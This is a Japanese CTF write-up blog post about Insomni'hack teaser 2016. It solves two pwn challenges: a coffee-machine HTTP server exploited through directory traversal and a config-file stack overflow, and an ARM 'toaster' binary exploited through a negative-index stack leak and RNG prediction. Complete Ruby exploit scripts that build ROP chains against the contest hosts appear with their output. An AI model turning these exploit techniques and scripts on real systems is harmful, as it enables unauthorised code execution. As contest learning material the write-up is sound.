しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

Insomni'hack teaser 2016 writeup

Insomni'hack teaser 2016にscryptosで参加しました。

チームで1250pts入れて8位、
私は2問解いて450pts入れました(*´ω`*)

今回のCTFは「問題を解いたら部屋の中のIoT製品が壊れる」というシステムになっていて、
競技終了後の部屋の様子がカオスでした……。
f:id:Charo_IT:20160119102152p:plain

解けた問題のwriteupを置いておきます(`・ω・´)

rbaced1 (pwn 200)

This coffee machine can be controlled from your smartphone.
We can't provide the app itself, however we found the HTTP server running on the machine... which seems to be *very* crappy and subject to several lame vulnerabilities.
Since the binaries can't be recompiled, administrators have attempted to harden the system with grsecurity...
Read /flag_part1 to get the flag for part I. [200pts]
Run /getflag_part2 to get the flag for part II. [300pts]

コーヒーメーカーをスマホから操作するための、Cで書かれたWebアプリ。

Home
サービスの紹介ページ
f:id:Charo_IT:20160119014204p:plain

Preferences
コーヒーの種類や砂糖・ミルクの量を個人設定に保存するためのページ
f:id:Charo_IT:20160119014228p:plain

Order coffee
コーヒーを注文するためのページ
f:id:Charo_IT:20160119014241p:plain

渡されたアーカイブファイルを展開すると以下のファイルが出てくる。

/
│  README
│  
├─etc
│  ├─grsec
│  │  │  policy
│  │  │  
│  │  └─roles
│  │      ├─groups
│  │      └─users
│  │              authenticator
│  │              rbaced
│  │              
│  ├─sysctl.d
│  │      05-grsecurity.conf
│  │      
│  └─xinet.d
│          authenticator
│          
├─home
│  ├─authenticator
│  │      authenticator
│  │      creds_db.txt
│  │      
│  └─rbaced
│      │  rbaced
│      │  rbaced.conf
│      │  
│      └─www
│          │  index.html
│          │  
│          ├─cgi-bin
│          │      order
│          │      preferences
│          │      
│          ├─static
│          │      (画像とかCSSとか)
│          │          
│          └─userdata
├─lib
│  └─x86_64-linux-gnu
│          libc.so.6
│          
└─usr
    └─src
            config-4.3.3-grsec
            linux-image-4.3.3-grsec.deb

ざっとファイルを眺めてみると

  • /home/rbaced/rbaced
    • HTTPサーバのバイナリ
  • /home/authenticator/authenticator
    • rbacedのBasic認証用のバイナリ
    • 127.0.0.1:4242で稼働(外からはアクセスできなかった)
  • /home/rbaced/www/preferences
    • preferencesページの処理を行うバイナリ
    • POSTで渡されたデータを/home/rbaced/www/userdata/[SHA1(env(HTTP_AUTHORIZATION) + remote_ip)]/pref.txtに保存
    • 渡されたデータの検証をしておらず、割と好きな内容のファイルが作れる
  • /home/rbaced/www/order
    • orderページの処理を行うバイナリ
    • preferencesで保存したデータを取得して出力するだけ
  • /etc/grsec/roles/users/*
    • grsecurityの設定ファイル
      ファイルの内容のうち、以下の設定が怪しそう
      • ユーザ rbacedに対して/flag_part1の読み取り許可
      • ユーザ authenticatorに対して/flag_part2の読み取り許可
      • ユーザ authenticatorに対して/getflag_part2の実行許可

という感じだった。

grsecurityの設定ファイルから、

  • rbacedの脆弱性を突くのがstage 1
  • authenticatorの脆弱性を突くのがstage 2

と予想することができる。

ということでrbacedを解析し、主な挙動を調べた。

  • 指定できる引数
    • --daemon……daemonモードで稼働する場合に指定
    • --config=filename……設定ファイルの指定。daemonモードの場合のみ使用される。1行が1024バイトを超える設定ファイルを読ませるとstrcpyでstack bof
    • --file=filename……後述
  • daemonモードの時
    • 静的コンテンツを出力するためのモード
    • --file=filenameで指定されたファイル(指定されていない場合はgetenv("SCRIPT_NAME"))の内容を出力
      このとき、realpath(filename)getenv("SERVER_ROOT")の先頭が異なる場合は403エラーを返す(つまり、ここではディレクトリトラバーサルは不可)
  • daemonモードの時
    • HTTPサーバとして稼働
    • URLのパスが/cgi-bin/で始まる場合はBasic認証を要求し、クエリ文字列を引数argv, いろいろ設定した環境変数をenvpとしてexecve(path, argv, envp)を実行
      ディレクトリトラバーサル脆弱性がある
    • URLのパスが/cgi-bin/で始まらない場合、execve("rbaced", ["rbaced", NULL], envp)を実行
    • POSTのペイロードはexecveしたプログラムの標準入力に渡す
    • execveしたプログラムの出力に"Content-Type: "と("\n\n" or "\r\n\r\n")が含まれている場合はexecveしたプログラムの出力をそのままクライアントに返し、そうでない場合は500エラーを返す
    • パーセントエンコーディング使用可

ROPで制御を奪ってしまえば勝てそうなので、太字で書いた脆弱性を利用して

  1. preferencesを使い、フラグを出力させるROPをpref.txtに仕込む
  2. /cgi-bin/../../rbaced?--daemon&--config=/path/to/our/pref.txtにアクセスする
  3. 2.で立ち上げたrbacedがpref.txtをロードするとROPが発動

という手順でフラグを取った。

#coding:ascii-8bit
require_relative "../../pwnlib"
require "uri"
require "openssl"

remote = true
if remote
    host = "rbaced.insomnihack.ch"
    port = 8080
    auth = "Basic <censored>"
else
    host = "localhost"
    port = 54321
    auth = "Basic aG9nZTpob2dl"
end
my_ip = <censored>

# スタックにbssのアドレスを仕込み、リターンアドレスを静的コンテンツ出力部分のアドレスに書き換えるconfig
def malicious_conf
    payload = ""
    payload << "User /flag_part1\n"

    # 上で指定したUserの内容はbssにコピーされるので、そのアドレスをスタックに仕込む
    4.times{|i|
        payload << "A" * (0x427 - i) + "\n"
    }
    payload << "A"* 0x420 + [0x605b28].pack("L")[0...3] + "\n"

    # リターンアドレスを静的コンテンツ出力処理のアドレスに書き換え
    4.times{|i|
        payload << "A" * (0x417 - i) + "\n"
    }
    payload << "A" * 0x410 + [0x40385e].pack("L")[0...3] + "\n"
    payload
end

# pref.txt作成
puts "[*] create malicious pref.txt"
PwnTube.open(host, port){|tube|
    form_data = URI.encode_www_form({"sugar" => "hogehoge\n#{malicious_conf}"})

    payload = ""
    payload << "POST /cgi-bin/preferences HTTP/1.1\r\n"
    payload << "Authorization: #{auth}\r\n"
    payload << "Content-Length: #{form_data.length}\r\n"
    tube.send(payload + "\r\n")
    sleep(1)
    tube.send(form_data)

    puts tube.recv_until_eof
}

# pref.txtロード・ROP発動
puts "[*] trigger ROP"
PwnTube.open(host, port){|tube|
    if remote
        config_path = "/home/rbaced/www/userdata/"
    else
        config_path = "/home/charo/ctf/insomnihack_2016/rbaced/home/rbaced/www/userdata/"
    end
    config_path << OpenSSL::Digest::SHA1.hexdigest(auth + my_ip) + "/pref.txt"

    # スタックの底打ちを避けるため、パス名を長くしておく
    payload = ""
    payload << "GET /cgi-bin/../../#{"/"*0xe00}rbaced?--daemon&--config=#{config_path} HTTP/1.1\r\n"
    payload << "Authorization: #{auth}\r\n"
    tube.send(payload + "\r\n")

    puts tube.recv_until_eof
}
$ ruby rbaced.rb
[*] create malicious pref.txt
[*] connected
HTTP/1.1 200 OK
Server: rbaced HTTP server 0.4
Connection: close
Content-Type: text/html

<!doctype html>
<html>
(snip)
</html>
[*] connection closed

[*] trigger ROP
[*] connected
HTTP/1.1 200 OK
Server: rbaced HTTP server 0.4
Connection: close
Content-Length: 28
Content-Type: text/plain

INS{We need to ROP deeper!}
[*] connection closed

FLAG: INS{We need to ROP deeper!}

toasted (pwn 250)

Welcome to Internet of Toaster! This next-gen piece of art is awaiting you!
Pwn it on toasted.insomnihack.ch:7200 and read the /flag !
FYI Runs chrooted so forget about your execve shellcodes.

$ ./qemu-arm toasted
Welcome to Internet of Toaster!
Featuring "Random Heat Distribution" (patent pending)
Passphrase : How Large Is A Stack Of Toast?
Access granted!
This next-gen toaster allows for 256 slices of bread !
It also has a small tank of replacement bread if you burn one, which is a huge improvement over the netbsd-based models!
Which slice do you want to heat?
1
Toasting 1!
Which slice do you want to heat?
2
Toasting 2!
Which slice do you want to heat?
3
Toasting 3!
Which slice do you want to heat?
q
Well, you've had your toasting frenzy!
Cheers

「256枚のパンを並列で焼けるトースター」がテーマのARM問。

主な仕様はこんな感じ。

  • 最初に、256枚のパンの「焼け具合」を0に初期化する(「焼け具合」はスタック上にあるunsigned char[256]で管理)
  • argc > 1の場合、デバッグモードが有効になる(当然リモートでは有効になっていない)
  • /dev/urandomから取った4バイトを乱数の種にする(この値はスタック上に保持)
  • 以下の処理を260回ループ
    • 256枚のうち、好きなパンを1枚選んで加熱し(ただし加熱量はrand() & 0xffで決定)、加熱量を「焼け具合」に加算する
    • 「焼け具合」が256以上になった(=焦げた)場合、そのパンは自動的に廃棄され、「焼け具合」が0の新しいパンに交換される
    • パンを4枚焦がすと強制終了
    • 数字の代わりに"q"か"x"を入力すると終了する
    • デバッグモードが有効の時、各パンの焼け具合が出力される

ARMバイナリを読むのが面倒だったので、これを放置してrbacedを読んでいたところ、n4nuプロがパンを選ぶ時に負数の入力が通るというバグを見つけた。
これを使うと、「焼け具合」の管理領域よりも上にある変数をランダムな数字で書き換えることができる。

$ ./qemu-arm toasted
Welcome to Internet of Toaster!
Featuring "Random Heat Distribution" (patent pending)
Passphrase : How Large Is A Stack Of Toast?
Access granted!
This next-gen toaster allows for 256 slices of bread !
It also has a small tank of replacement bread if you burn one, which is a huge improvement over the netbsd-based models!
Which slice do you want to heat?
-61  ←-61を指定するとデバッグモードが有効になる
Toasting -61!
Bread status:
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
Which slice do you want to heat?
-60  ←-60を指定すると「焼け具合」の管理領域がずれる(管理領域を指すポインタの下位1バイト目が書き換わるため)
Toasting -60!
Detected bread overheat, replacing
Bread status:  ※管理領域がずれたのでスタックの内容がリークしている
[ 10][  0][  0][  0][ 96][182][  6][  0][  0][  0][  0][  0][ 23][155][  0][  0]
[160][184][  6][  0][ 36][240][255][246][  0][  0][  0][  0][245][137][  0][  0]
[  0][208][  4][  0][  0][  0][  0][  0][  0][  0][  0][  0][208][208][  4][  0]
[136][  0][  0][  0][  0][240][255][246][200][241][255][246][ 60][  0][  0][  0]
[ 72][240][255][246][113][138][  0][  0][  0][  0][  0][100][  0][240][255][246]
[200][241][255][246][196][255][255][255][ 45][ 54][ 48][ 10][107][  1][  0][  0]
[104][151][123][112][  2][  0][  0][  0][  7][129][224][  0][  0][  0][  0][  0]
[120][240][255][246][147][140][  0][  0][ 20][243][255][246][  1][  0][  0][  0]
[  7][129][224][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
[  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0][  0]
Which slice do you want to heat?
q
Well, you've had your toasting frenzy!
Cheers

ここでリークした内容をlittle endianな32bit整数として見るといろいろわかる。

0000000a 0006b660 00000000 00009b17
0006b8a0 f6fff024 00000000 000089f5
0004d000 00000000 00000000 0004d0d0
00000088 f6fff000 f6fff1c8 0000003c
f6fff048 00008a71 64000000 f6fff000 ←gdbで確認すると、スタックポインタは0x64000000の部分を指している
f6fff1c8 ffffffc4 0a30362d 0000016b
707b9768 00000002 00e08107 00000000 ←0x00000002がパンを加熱した回数をカウントする変数
f6fff078 00008c93 f6fff314 00000001 ←0xf6fff078がスタックのアドレス, 0x8c93がmainへのリターンアドレス
00e08107 00000000 00000000 00000000 ←0x00e08107が乱数の種
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000

スタック上の1バイトにrand() & 0xffを加算できる仕様なので、リークした乱数の種を使って乱数を予測し、スタックにROPを仕込むことで任意コード実行に持ち込むことができる。

ということで、以下の手順で攻略した。

  1. "-61"を指定してデバッグモードを有効にする
  2. "-60"を指定して管理領域を指すポインタのアドレスをずらし、スタックの内容をリーク
  3. リークした乱数の種からバイナリと同じ乱数列を再現
  4. 以下を繰り返してスタックにROPを仕込む
    • 予測した乱数がROPに必要な値なら、スタックのROP部分に書き込み
    • いらない値ならスタックポインタ - 1の部分(0x00008a71の最上位バイト)に書き込み
      • 関数呼び出しを行ったときのsaved pcがここに格納されるため、ここなら何回書き込んでもパンが焦げない
      • 予測した乱数の最上位ビットが立っている場合、パンを加熱した回数をカウントする変数の最上位バイトにこの乱数を書き込んでおけばカウント変数が負になるため、「パンを加熱できるのは260回まで」という制限を回避することができる
  5. ROPの仕込みが終わったら"q"でループを抜け、ROP発動
#coding:ascii-8bit
require "pwnlib"
require "fiddle/import"

module Libc
    extend Fiddle::Importer
    dlload "libc.so.6"
    extern "void srand(unsigned int)"
    extern "int rand()"
end

remote = true
if remote
    host = "toasted.insomnihack.ch"
    port = 7200
else
    host = "localhost"
    port = 54321
end
offset = {
    "ret" => 0xac63,
    "pop3ret" => 0xa867,
    "read" => 0x11730,
    "write" => 0x2c3f0,
    "open" => 0x11610
}

def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0)
    payload = ""
    payload << [0x924b].pack("L")
    payload << [func, 0, arg1, arg2, arg3, 0, 1].pack("L*")
    payload << [0x923d].pack("L")
    payload << [0].pack("L") * 7
    payload
end

# デバッグモードの出力をバイト列にパースするメソッド
def parse_debug_msg(msg)
    msg.scan(/(?<=\[) *\d+(?=\])/).map(&:to_i).map(&:chr).join
end

prompt = "Which slice do you want to heat?\n"

PwnTube.open(host, port){|tube|

    puts "[*] send passphrase"
    tube.recv_until("Passphrase : ")
    tube.send("How Large Is A Stack Of Toast?\n")

    # デバッグモードを有効にする
    puts "[*] enable debug mode"
    tube.recv_until(prompt)
    tube.send("-61\n")

    # 管理領域を指すポインタのアドレスをずらし、乱数の種・スタックアドレスをリーク
    puts "[*] leak random seed"
    tube.recv_until(prompt)
    tube.send("-60\n")
    stack = parse_debug_msg(tube.recv_until(prompt))
    # スタックの状態がよくない場合はやりなおし
    if !stack.include?([0x8c93].pack("L"))
        puts "[!] retry"
        break
    end
    sp = stack.index([0x8c93].pack("L")) - 0x2c
    if sp + 0x38 + 48 > 256
        puts "[!] retry"
        break
    end
    seed = stack[sp + 0x38...sp + 0x3c].unpack("L")[0]
    stack_address = stack[sp + 0x28...sp + 0x2c].unpack("L")[0]
    puts "seed = 0x%08x" % seed
    puts "stack address = 0x%08x" % stack_address

    # スタックにROP stagerを仕込む
    puts "[*] send rop stager"
    Libc.srand(seed)
    2.times{Libc.rand}
    rop = ""
    rop << [offset["pop3ret"], 0, 0, 0].pack("L*")
    rop << call_func(offset["read"], 0, stack_address + 0x4c, 0x200)
    count = 1 << 31
    # 次の乱数が使えそうな値なら使い、使えない値なら(handle_breadのsp - 1)の場所に書き込む。
    # handle_breadのsp - 1はhandle_bread内で関数を呼び出したときのsaved-pcが入る場所なので、必ず0であることが保証できる
    while count != 0
        finished = true
        rnd = Libc.rand & 0xff
        index = sp - 1
        count = 0
        for i in 0...rop.length
            if stack[sp + 0x2c + i] != rop[i] && rop[i] != "\0"
                finished = false
                count += 1
                if ((stack[sp + 0x2c + i].ord + rnd) & 0xff) == rop[i].ord && index == sp - 1
                    index = sp + 0x2c + i
                end
            end
        end
        # 本来は260回までしか乱数を引けないが、カウント用の変数を負にしておけば実質無制限に乱数を引ける
        if index == sp - 1 && rnd >= 0x80 && stack[sp + 0x1f].ord < 0x80
            index = sp + 0x1f
        end
        tube.send("#{index}\n")
        puts "#{index}(rest: #{count})"
        stack = parse_debug_msg(tube.recv_until(prompt))
        # デバッグ出力用
        puts stack.unpack("L*").each_slice(4).map{|a| a.map{|b| sprintf("%08x", b)}.join(" ")}.join("\n")
    end

    # ROP stagerを発動し、次のROP(open→read→write)を送る
    puts "[*] send next rop"
    tube.send("q\n")
    sleep(1)
    rop = ""
    rop << [offset["ret"]].pack("L") * 4
    rop << call_func(offset["read"], 0, 0x6bf14, 6)  # ファイル名読み込み用
    rop << call_func(offset["open"], 0x6bf14)
    rop << call_func(offset["read"], 4, 0x6bf14, 32)
    rop << call_func(offset["write"], 1, 0x6bf14, 32)
    rop << [0x8965].pack("L")  # exit
    raise if rop.length > 0x200
    tube.send(rop)

    # ファイル名送信
    puts "[*] send filename"
    sleep(1)
    tube.send("/flag\0")

    tube.interactive
}
$ ruby toasted.rb
[*] connected
[*] send passphrase
[*] enable debug mode
[*] leak random seed
seed = 0x2e0c57f0
stack address = 0x7ed74238
[*] send rop stager
39(rest: 15)
7ed74208 00008a71 78000000 7ed74200
7ed74388 00000027 0a0a3933 000000d9
73488991 d9000003 2e0c57f0 00000000
7ed74238 00008c93 7ed744d4 00000001
2e0c57f0 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
(snip)
7(rest: 0)
7ed74208 00008a71 78000000 7ed74200
7ed74388 00000007 0a0a0a37 0000004e
73488991 d9000298 2e0c57f0 00000000
7ed74238 0000a867 7ed744d4 00000001
2e0c57f0 0000924b 00011730 00000000
00000000 7ed74284 00000200 00000000
00000001 0000923d 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
[*] send next rop
[*] interactive mode
INS{_-n0_pa1n_n0_ga1n-_}
[*] end interactive mode
[*] connection closed

FLAG:INS{_-n0_pa1n_n0_ga1n-_}